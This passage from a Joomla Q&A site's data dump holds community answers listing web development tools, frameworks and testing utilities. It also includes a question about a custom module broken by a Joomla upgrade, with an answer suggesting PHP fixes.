Monthly backups of one or more of your MySQL databases from one or more of your MySQL servers.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;br /&gt;&#xA;&lt;h2&gt;Database Version Control:&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://dbv.vizuina.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;dbvphp&lt;/a&gt; (php)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2015-09-27T13:58:09.440" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12154" PostTypeId="2" ParentId="12143" CreationDate="2015-08-13T07:17:03.090" Score="7" Body="&lt;h2&gt;Browser Tools:&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://creative.adobe.com/products/inspect&quot;&gt;Adobe Edge Inspect CC&lt;/a&gt;&lt;/strong&gt;  (free)&lt;br&gt;&#xA;Edge Inspect is an essential application for web developers and designers who need to preview their content across multiple mobile devices. Wirelessly pair multiple iOS and Android devices to your computer, grab screenshots from any connected device, and see real-time results from changes to HTML, CSS, and JavaScript.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://getfirebug.com/&quot;&gt;&lt;strong&gt;Firebug&lt;/strong&gt;&lt;/a&gt; (Firefox) (Please note that there is a Lite version for other browser but I'd recommend using the built-in inspectors)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.colorzilla.com&quot;&gt;&lt;strong&gt;ColorZilla&lt;/strong&gt;&lt;/a&gt; (Firefox &amp;amp; Chrome)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-08-13T09:52:50.517" LastActivityDate="2015-08-13T09:52:50.517" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12155" PostTypeId="2" ParentId="12143" CreationDate="2015-08-13T07:19:18.910" Score="5" Body="&lt;h1&gt;Version Control:&lt;/h1&gt;&#xA;&#xA;&lt;h2&gt;Source Code:&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitbucket.org/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Bitbucket&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.sourcetreeapp.com/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;SourceTree&lt;/strong&gt;&lt;/a&gt; (Windows, Mac)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.syntevo.com/smartgit/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;SmartGit&lt;/strong&gt;&lt;/a&gt; (Windows, Mac, Linux)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://github.com/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Github Website&lt;/strong&gt;&lt;/a&gt; (&lt;em&gt;must register first before using any of the below&lt;/em&gt;)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://git-scm.com/download/win&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Git Bash&lt;/strong&gt;&lt;/a&gt; (Windows - command line)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://git-scm.com/download/mac&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Git Bash&lt;/strong&gt;&lt;/a&gt; (Mac - command line)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://windows.github.com/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Github&lt;/strong&gt;&lt;/a&gt; (Windows - GUI)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://mac.github.com/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Github&lt;/strong&gt;&lt;/a&gt; (Mac - GUI)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://%20Create%20a%20staging%20environment%20in%20seconds%20Develop%20on%20the%20staging%20environment%20with%20zero%20risk%20to%20your%20live%20site%20Make%20any%20changes%20you%20like%20-%20update%20extensions,%20delete%20content%20etc.%20StageIt%20supports%20ALL%20third%20party%20extensions%20Sync%20the%20staging%20environment%20with%20the%20live%20site%20at%20any%20time%20Visual%20button%20allows%20you%20to%20instantly%20switch%20between%20environments%20Automatic%20backups%20allow%20you%20to%20restore%20your%20live%20site%20to%20any%20sync%20point%20Configure%20to%20work%20with%20a%20range%20of%20servers%20-%20even%20GoDaddy!%20Full%20documentation%20Purchase%20includes%20full%20support%20and%20updates&quot; rel=&quot;nofollow&quot;&gt;Version control software list on Wikipedia&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Database Version Control:&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://dbv.vizuina.com&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;dbvphp&lt;/strong&gt;&lt;/a&gt; (php)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Joomla Site Staging&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/extension/core-enhancements/multiple-sites/stageit&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;StageIt&lt;/strong&gt;&lt;/a&gt;&lt;br&gt;&#xA;Staging environment extension for Joomla!&lt;br&gt;&#xA;Features:  &#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create a staging environment in seconds  &lt;/li&gt;&#xA;&lt;li&gt;Develop on the staging environment with zero risk to your live site  &lt;/li&gt;&#xA;&lt;li&gt;Make any changes you like - update extensions, delete content etc  &lt;/li&gt;&#xA;&lt;li&gt;StageIt supports ALL third party extensions  &lt;/li&gt;&#xA;&lt;li&gt;Sync the staging environment with the live site at any time  &lt;/li&gt;&#xA;&lt;li&gt;Visual button allows you to instantly switch between environments  &lt;/li&gt;&#xA;&lt;li&gt;Automatic backups allow you to restore your live site to any sync point  &lt;/li&gt;&#xA;&lt;li&gt;Configure to work with a range of servers - even GoDaddy!  &lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2016-05-05T10:24:08.537" LastActivityDate="2016-05-05T10:24:08.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12156" PostTypeId="2" ParentId="12143" CreationDate="2015-08-13T07:21:57.827" Score="7" Body="&lt;h2&gt;Editors:&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://notepad-plus-plus.org/&quot; rel=&quot;nofollow&quot;&gt;Notepad++&lt;/a&gt; (for extreme speed and simplicity)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://atom.io/&quot; rel=&quot;nofollow&quot;&gt;Atom&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.sublimetext.com/&quot; rel=&quot;nofollow&quot;&gt;Sublime Text&lt;/a&gt; (super fast and feature packed)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.jetbrains.com/phpstorm/&quot; rel=&quot;nofollow&quot;&gt;PhpStorm&lt;/a&gt; (Full PHP IDE)&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://netbeans.org&quot; rel=&quot;nofollow&quot;&gt;Netbeans IDE&lt;/a&gt;&lt;br&gt;&#xA;Quickly and easily develop desktop, mobile and web applications&#xA;with Java, HTML5, PHP, C/C++ and more. NetBeans IDE is FREE, open source, and has a worldwide community of users and developers.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://eclipse.org/pdt/&quot; rel=&quot;nofollow&quot;&gt;Eclipse PDT&lt;/a&gt; (PHP Development tools)&lt;br&gt;&#xA;The PHP IDE project delivers a PHP Integrated Development Environment framework for the Eclipse platform. Eclipse IDE is FREE and open source. Requires java installed.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://komodoide.com/&quot; rel=&quot;nofollow&quot;&gt;Komodo IDE&lt;/a&gt;&#xA;Cross-Platform IDE for all your major languages,&#xA;including Python, PHP, Go, Perl, Tcl, Ruby, NodeJS, HTML, CSS, JavaScript and more&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="126" LastEditorUserId="5319" LastEditDate="2015-11-03T09:12:33.173" LastActivityDate="2015-11-03T09:12:33.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12157" PostTypeId="2" ParentId="12143" CreationDate="2015-08-13T07:24:01.010" Score="6" Body="&lt;h2&gt;Site Statictics:&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://tools.pingdom.com/fpt&quot;&gt;Pingdom&lt;/a&gt; (Site speed test)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://gtmetrix.com/&quot;&gt;GTmetrix&lt;/a&gt; (Site speed test)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://developers.google.com/speed/pagespeed/insights/&quot;&gt;PageSpeed Insights&lt;/a&gt; (Site speed test)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="126" LastActivityDate="2015-08-13T07:24:01.010" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12158" PostTypeId="2" ParentId="12143" CreationDate="2015-08-13T07:25:20.333" Score="9" Body="&lt;h2&gt;Frontend (template, framework etc):&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://getuikit.com/&quot;&gt;UIKit&lt;/a&gt; (framework)&lt;br&gt;&#xA;&lt;strong&gt;UIKit&lt;/strong&gt; is only a couple of years old but has become extremely popular. It's a lightweight and modular front-end framework for developing fast and powerful web interfaces and is used for all of Yootheme's templates as of Warp 7. The majority of Javascript have been moved into separate components, meaning you can load each one when and where you want.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://getbootstrap.com/&quot;&gt;Bootstrap&lt;/a&gt; (framework)&lt;br&gt;&#xA;&lt;strong&gt;Bootstrap&lt;/strong&gt; is an extremely popular, if not the most popular HTML, CSS, and JS framework for developing responsive websites. Bootstrap makes front-end web development faster and easier. It's made for folks of all skill levels, devices of all shapes, and projects of all sizes, and above all, it's open source, therefore it's hosted, developed, and maintained on GitHub by the community. Version 2.3.2 (no longer officially supported) also comes shipped with Joomla 3.x and is used for the default Protostar template.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.yootheme.com&quot;&gt;Yootheme&lt;/a&gt; (template provider)&lt;br&gt;&#xA;&lt;strong&gt;Yootheme&lt;/strong&gt; is one of the most popular Joomla template providers. They role out a new template (utilizing their front-end framework, UIKit) every month with a unique design.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://foundation.zurb.com/&quot;&gt;Foundation&lt;/a&gt; (framework)&lt;br&gt;&#xA;&lt;strong&gt;Foundation&lt;/strong&gt; is a family of responsive front-end frameworks that make it easy to design beautiful responsive websites, apps and emails that look amazing on any device. Foundation is semantic, readable, flexible, and completely customizable.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://semantic-ui.com/&quot;&gt;Semantic UI&lt;/a&gt; (framework)&lt;br&gt;&#xA;&lt;strong&gt;Semantic&lt;/strong&gt; is a development framework that helps create beautiful, responsive layouts using human-friendly HTML.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://purecss.io/&quot;&gt;Pure&lt;/a&gt; by Yahoo (set of small, responsive CSS modules )&lt;br&gt;&#xA;&lt;strong&gt;Pure&lt;/strong&gt; is meant to be a starting point for every website or web app. Pure takes care of all the CSS work that every site needs, without making it look cookie-cutter:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A responsive grid that can be customized to your needs.&lt;/li&gt;&#xA;&lt;li&gt;A solid base built on Normalize.css to fix cross-browser compatibility issues.&lt;/li&gt;&#xA;&lt;li&gt;Consistently styled buttons that work with  and  elements.&lt;/li&gt;&#xA;&lt;li&gt;Styles for vertical and horizontal menus, including support for dropdown menus.&lt;/li&gt;&#xA;&lt;li&gt;Useful form alignments that look great on all screen sizes.&lt;/li&gt;&#xA;&lt;li&gt;Various common table styles.&lt;/li&gt;&#xA;&lt;li&gt;An extremely minimalist look that is super-easy to customize.&lt;/li&gt;&#xA;&lt;li&gt;Responsive by default, with a non-responsive option.&lt;/li&gt;&#xA;&lt;li&gt;Extremely small file size: 4.5KB minified + gzip.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="126" LastEditorUserId="3944" LastEditDate="2015-08-19T09:02:31.390" LastActivityDate="2015-08-19T09:02:31.390" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12159" PostTypeId="2" ParentId="12143" CreationDate="2015-08-13T08:09:23.183" Score="17" Body="&lt;h2&gt;Development&lt;/h2&gt;&#xA;&#xA;&lt;h3&gt;General&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://getcomposer.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Composer&lt;/strong&gt;&lt;/a&gt;&lt;br&gt;&#xA;&lt;strong&gt;Composer&lt;/strong&gt; is a tool for dependency management in PHP. It allows you to declare the libraries your project depends on and it will manage (install/update) them for you.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/joomlatools/joomla-composer&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Joomlatools Composer Installer&lt;/strong&gt;&lt;/a&gt;&lt;br&gt;&#xA;This Composer plugin will install extensions into your Joomla setup.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://www.akeebabackup.com/documentation/fof/introducing-fof.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;FOF2&lt;/a&gt;&lt;/strong&gt; (Framework on Framework 2)&lt;br&gt;&#xA;&lt;strong&gt;FOF&lt;/strong&gt; is a rapid application development framework included in Joomla! It extends the Joomla! Platform instead of replacing it, featuring its own forked and extended version of the MVC classes, keeping a strong semblance to the existing Joomla! and provides HMVC capabilities.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://github.com/akeeba/fof&quot; rel=&quot;nofollow noreferrer&quot;&gt;FOF3&lt;/a&gt;&lt;/strong&gt; (Framework on Framework 3) &#xA;&lt;strong&gt;FOF3&lt;/strong&gt; improves on FOF2/F0F2 and brings in powerful new tools for Joomla 3. like a new dataModel, Use of namespaces, DI container, Class autoloading for components, a scaffolding builder to rapidly auto create a frame for your component, and &lt;a href=&quot;https://github.com/akeeba/fof/wiki/FOF-3-design-goals&quot; rel=&quot;nofollow noreferrer&quot;&gt;so much more&lt;/a&gt;. &lt;strong&gt;WARNING&lt;/strong&gt; FOF 3.x is not backwards compatible with FOF 2.x and 1.x.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://github.com/photodude/FOF3-Basic&quot; rel=&quot;nofollow noreferrer&quot;&gt;FOF3-Basic&lt;/a&gt;&lt;/strong&gt; &#xA;A hello world type example for Akeeba FOF3 written as a developer&#xA;walkthrough for building a Joomla! component from the ground up.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://www.nooku.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;Nooku Framework&lt;/a&gt;&lt;/strong&gt;&lt;br&gt;&#xA;Framework for building Joomla extensions with less code.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;br /&gt;&#xA;&lt;br /&gt;  &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Extensions Generators&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://github.com/srsgores/generator-joomla-component&quot; rel=&quot;nofollow noreferrer&quot;&gt;generator-joomla-component&lt;/a&gt;&lt;/strong&gt; (A component generator for &lt;a href=&quot;http://yeoman.io/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Yeoman&lt;/a&gt;)&lt;br&gt;&#xA;&lt;strong&gt;generator-joomla-component&lt;/strong&gt; allows you to quickly and effortlessly scaffold out a new joomla component, using recommended MVC design pattern and coding standards. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;These include:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Internationalization language files&lt;/li&gt;&#xA;&lt;li&gt;Tabs for indents&lt;/li&gt;&#xA;&lt;li&gt;CamelCase variable notation&lt;/li&gt;&#xA;&lt;li&gt;Proper MVC architecture&lt;/li&gt;&#xA;&lt;li&gt;PHPDocumentor stubs for every method, as well as page-level doc blocks&lt;/li&gt;&#xA;&lt;li&gt;Uses &lt;code&gt;'&lt;/code&gt; over &lt;code&gt;&quot;&lt;/code&gt;, because that's what the official Joomla library uses&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://github.com/srsgores/generator-joomla-admin-template&quot; rel=&quot;nofollow noreferrer&quot;&gt;generator-joomla-admin-template&lt;/a&gt;&lt;/strong&gt; (A administrator template generator for &lt;a href=&quot;http://yeoman.io/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Yeoman&lt;/a&gt;)&lt;br&gt;&#xA;&lt;strong&gt;generator-joomla-admin-template&lt;/strong&gt; is a yeoman generator, which allows you to automatically generate joomla administrator templates for your back-end.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://www.component-creator.com/en/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla component creator&lt;/a&gt;&lt;/strong&gt; (Free access is limited to one database table)&lt;br&gt;&#xA;&lt;strong&gt;Joomla component creator&lt;/strong&gt; allows you to generate a fully functional, ready to install, custom Joomla component in minutes. It is daily saving Joomla developers hundreds of hours development time.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/extension/component-builder&quot; rel=&quot;nofollow noreferrer&quot;&gt;Component Builder&lt;/a&gt;&lt;/strong&gt;&lt;br&gt;&#xA;&lt;strong&gt;Component Builder&lt;/strong&gt; for Joomla that is highly advanced, truly able to build extremely complex components in a fraction of the time.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://xdsoft.net/joomla-module-generator/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla Module Generator by XDSoft&lt;/a&gt;&lt;/strong&gt;&lt;br&gt;&#xA;&lt;strong&gt;Joomla Module Generator by XDSoft&lt;/strong&gt; simplifies the process and saves your time of developing module for Joomla. It creates structure, creates all the necessary directories and files, generate valid main XML file. As a result, you get a zip package ready for installation.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://extstore.com/tools/plugin-creator&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla Plugin Generator by ExtStore&lt;/a&gt;&lt;/strong&gt;&lt;br&gt;&#xA;&lt;strong&gt;Joomla! Plugin Generator by ExtStore&lt;/strong&gt; generates a simple empty plugin with the files required to get you quickly started with your new Joomla plugin. After filling out a quick form with plugin name, author, and description, you get a zip package ready for installation, including language files (en-GB).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;br /&gt;&#xA;&lt;br /&gt; &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Docs &amp;amp; resources&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://docs.joomla.org/Main_Page&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla! Documentation&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla! GitHub repository&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;http://developer.joomla.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla! Developer Network&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3944" LastEditorUserId="7164" LastEditDate="2017-08-24T17:22:15.917" LastActivityDate="2017-08-24T17:22:15.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12160" PostTypeId="2" ParentId="12143" CreationDate="2015-08-13T08:19:34.240" Score="10" Body="&lt;h2&gt;Testing:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you're planning on writing a significant amount of either PHP or JavaScript code then all of the standard PHP and JavaScript development tools will be useful, regardless of the fact that your code will be running within a Joomla environment rather than stand-alone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;On the PHP side:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://xdebug.org/&quot;&gt;XDebug&lt;/a&gt;: A PHP extension for developers that allows you to do things like step through your code line by line to help you find bugs. Invaluable.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://phpunit.de/&quot;&gt;phpUnit&lt;/a&gt;: A testing tool. Write phpUnit tests to make sure your code works&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://phpmd.org/&quot;&gt;PHPMD&lt;/a&gt;: PHP &quot;Mess detector&quot;. Points out poor quality code. (A lot of well-known projects could really have benefited from using this kind of tool from the start).&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Joomla_CodeSniffer&quot;&gt;CodeSniffer&lt;/a&gt; and the Joomla coding standards: enforces clean code practice and makes your code easier to read for new developers.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;On the JavaScript side:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The various browser DevTools features. All the major browsers have good quality dev tools now. Firefox also has &lt;a href=&quot;https://getfirebug.com/&quot;&gt;Firebug&lt;/a&gt; available as a plugin in addition to the built-in dev tools, which is also worth having.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.jshint.com/&quot;&gt;JSHint&lt;/a&gt;: Points out poor quality code and potential bugs.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There are tons of tools like these, but obviously it depends how serious your coding is going to get -- if you're just knocking up a few dozen lines of code, there's not going to be much point messing around with the most of the above. But on the other hand if you're planning on writing a reasonably sized Joomla plugin and supporting it for some time, then the above tools will be invaluable to you for helping you write it well.&lt;/p&gt;&#xA;" OwnerUserId="5618" LastEditorUserId="3626" LastEditDate="2015-09-10T08:07:04.253" LastActivityDate="2015-09-10T08:07:04.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12161" PostTypeId="2" ParentId="11072" CreationDate="2015-08-13T08:55:39.130" Score="2" Body="&lt;p&gt;You could use the Google Analytics API to retrieve real time data and embed this into your Joomla page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A quick Google has returned these which you may want to look at;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://developers.google.com/analytics/devguides/reporting/realtime/v3/&quot; rel=&quot;nofollow&quot;&gt;Analytics Real Time Reporting API&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.embeddedanalytics.com/embeddedanalytics-realtime-reporting.html&quot; rel=&quot;nofollow&quot;&gt;EmbeddedAnalytics&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This suggestion obviously won't show you guests and members, it will simply display how many members are on a specific page (which you retrieve from the API).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally I haven't used the Google API for this purpose but it shouldn't be that difficult to do and the documentation seems pretty good. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps. Please let us know if you get it to work.&lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2015-08-13T08:55:39.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12162" PostTypeId="1" AcceptedAnswerId="12163" CreationDate="2015-08-13T09:59:57.940" Score="2" ViewCount="138" Body="&lt;p&gt;I've create a module which uses the standard contact component to show content but it will not work anymore after upgrade from j3.4.1 to 3.4.3. Maybe there is someone from the coding team who could have a look at the attached zipped module and explain how to fix the issue..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following errors are shown once I set error reporting to maximum:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Strict Standards: Non-static method modVorstandHelper::getList() should not be called statically in .. /modules/mod_vorstand/mod_vorstand.php on line 21&#xA;Notice: Array to string conversion in .. /administrator/components/com_contact/models/contacts.php on line 134&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and for each entry in auto generated table:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Notice: Trying to get property of non-object in ... /modules/mod_vorstand/tmpl/default.php on line 29  &#xA;Notice: Trying to get property of non-object in ... /modules/mod_vorstand/tmpl/default.php on line 30&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which is probably a result of the above mentioned site problems.&#xA;In J3.4.1 all is working fine but with the same 2 site problems above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;J3.4.1 is running here: &lt;a href=&quot;http://www.trudeo.de/st.antonius/vorstand&quot; rel=&quot;nofollow&quot;&gt;http://www.trudeo.de/st.antonius/vorstand&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;J3.4.3 is running here: &lt;a href=&quot;http://www.trudeo.de/st.antonius1/vorstand&quot; rel=&quot;nofollow&quot;&gt;http://www.trudeo.de/st.antonius1/vorstand&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no possibility to add the module in this forum but can be downloaded here www.trudeo.de/mod_vorstand.zip&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="5728" LastEditorUserId="126" LastEditDate="2015-08-21T18:34:30.460" LastActivityDate="2015-08-26T07:18:25.180" Title="Custom self-made module doesn't show content after J3.4.3 upgrade" Tags="|joomla-3.x|custom-module|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12163" PostTypeId="2" ParentId="12162" CreationDate="2015-08-13T10:47:33.247" Score="2" Body="&lt;p&gt;The problem is that you try to get items from the contacts model but the result is probably empty. &lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Notices&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;helper.php line 54&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Category filter&#xA;$model-&amp;gt;setState('filter.category_id', $params-&amp;gt;get('catid', array()));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;try to change that line to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Category filter&#xA;$model-&amp;gt;setState('filter.category_id', $params-&amp;gt;get('catid', ''));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is the default value of your catid parameter. If you do not set the catid in the module options, it will default to an empty array. The contacts model will not find anything if you filter with an &lt;strong&gt;empty&lt;/strong&gt; category ID array.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;Strict error&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Change&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function getList($params)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in &lt;em&gt;helper.php line 25&lt;/em&gt; to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public static function getList($params)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to get rid of the strict 